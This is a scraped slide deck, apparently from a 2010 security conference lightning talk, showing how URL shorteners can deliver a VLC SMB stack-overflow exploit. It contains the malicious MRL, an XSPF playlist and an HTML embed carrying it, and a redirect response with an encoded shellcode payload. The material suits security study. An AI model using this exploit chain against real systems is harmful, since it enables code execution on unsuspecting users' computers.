![cansecwest 2010,[object Object],lightning talk,[object Object],Saumil Shah,[object Object]](https://image.slidesharecdn.com/csw2010lightningtalksanitized-100330214049-phpapp02/75/url-shorteners-made-my-day-1-2048.jpg?cb=1668258758)
![URL Shorteners...,[object Object],http://cli.gs/4Q2zEv,[object Object],...made my day!,[object Object]](https://image.slidesharecdn.com/csw2010lightningtalksanitized-100330214049-phpapp02/75/url-shorteners-made-my-day-2-2048.jpg?cb=1668258758)
![VLC smb overflow,[object Object],smb://example.com@0.0.0.0/foo/#{AAAAAAAA....},[object Object],Classic Stack Overflow.,[object Object],This MRL has to be fed to VLC.,[object Object],Ugly method,[object Object],create an XSPF file,[object Object],embed the MRL inside it,[object Object],email it around, etc...,[object Object]](https://image.slidesharecdn.com/csw2010lightningtalksanitized-100330214049-phpapp02/75/url-shorteners-made-my-day-3-2048.jpg?cb=1668258758)
![VLC XSPF file,[object Object],<?xml version="1.0" encoding="UTF-8"?>,[object Object],<playlist version="1",[object Object], xmlns="http://xspf.org/ns/0/",[object Object], xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">,[object Object], <title>Playlist</title>,[object Object], <trackList>,[object Object], <track>,[object Object], <location>,[object Object], smb://example.com@0.0.0.0/foo/#{AAAAAAAA....},[object Object],</location>,[object Object], <extension,[object Object], application="http://www.videolan.org/vlc/playlist/0">,[object Object], <vlc:id>0</vlc:id>,[object Object], </extension>,[object Object], </track>,[object Object], </trackList>,[object Object],</playlist>,[object Object]](https://image.slidesharecdn.com/csw2010lightningtalksanitized-100330214049-phpapp02/75/url-shorteners-made-my-day-4-2048.jpg?cb=1668258758)
![100% Pure Alphanum!,[object Object]](https://image.slidesharecdn.com/csw2010lightningtalksanitized-100330214049-phpapp02/75/url-shorteners-made-my-day-6-2048.jpg?cb=1668258758)
![VLC smb overflow - HTMLized!!,[object Object],<embed type="application/x-vlc-plugin",[object Object], width="320" height="200",[object Object], target="http://tinyurl.com/zomfg12",[object Object], id="vlc" />,[object Object],I'm in ur browser....,[object Object],...blowin up ur g00dz,[object Object]](https://image.slidesharecdn.com/csw2010lightningtalksanitized-100330214049-phpapp02/75/url-shorteners-made-my-day-7-2048.jpg?cb=1668258758)
![301 Redirect from tinyurl,[object Object],HTTP/1.1 301 Moved Permanently,[object Object],X-Powered-By: PHP/5.2.12,[object Object],Location: smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj4?wTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJICVK1JjIoFoQRPRBJGrChJmDnElGuBzCDHoOHF4P0P0CgLKHzNOQeIzNOCEJGIoM7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT00WT00WWYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLIxCtGpC0GpLKQUGLNkQlFeD8GqHoLKPOEHLKCoQ0EQHkQYLKP4NkEQJNP1KpNyNLMTIPQdC7KqIZDMC1O2JKL4GKCdGTGtBUIuLKQOQ4EQHkPfLKDLBkLKCoGlEQJKLKGlLKEQHkOyClQ4GtJcEaIPBDNkG0P0MUIPCHDLLKG0FlNkPpGlNMNkE8GxHkEYLKOpH0EPC0EPLKQxGLQOEaJVQpCfOyHxOsIPCKBpCXHpLJC4QOPhJ8KNNjDNF7KOIwPcCQPlQsDnCUCHPeEPAA},[object Object],Content-type: text/html,[object Object],Content-Length: 0,[object Object],Connection: close,[object Object],Date: Fri, 26 Mar 2010 00:23:47 GMT,[object Object],Server: TinyURL/1.6,[object Object]](https://image.slidesharecdn.com/csw2010lightningtalksanitized-100330214049-phpapp02/75/url-shorteners-made-my-day-8-2048.jpg?cb=1668258758)
![The END,[object Object]](https://image.slidesharecdn.com/csw2010lightningtalksanitized-100330214049-phpapp02/75/url-shorteners-made-my-day-9-2048.jpg?cb=1668258758)
URL Shorteners made my day
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Lightning talk delivered at Cansecwest 2010. A quick look at the wonders and dangers of URL shorteners.
Lightning talk delivered at Cansecwest 2010. A quick look at the wonders and dangers of URL shorteners.
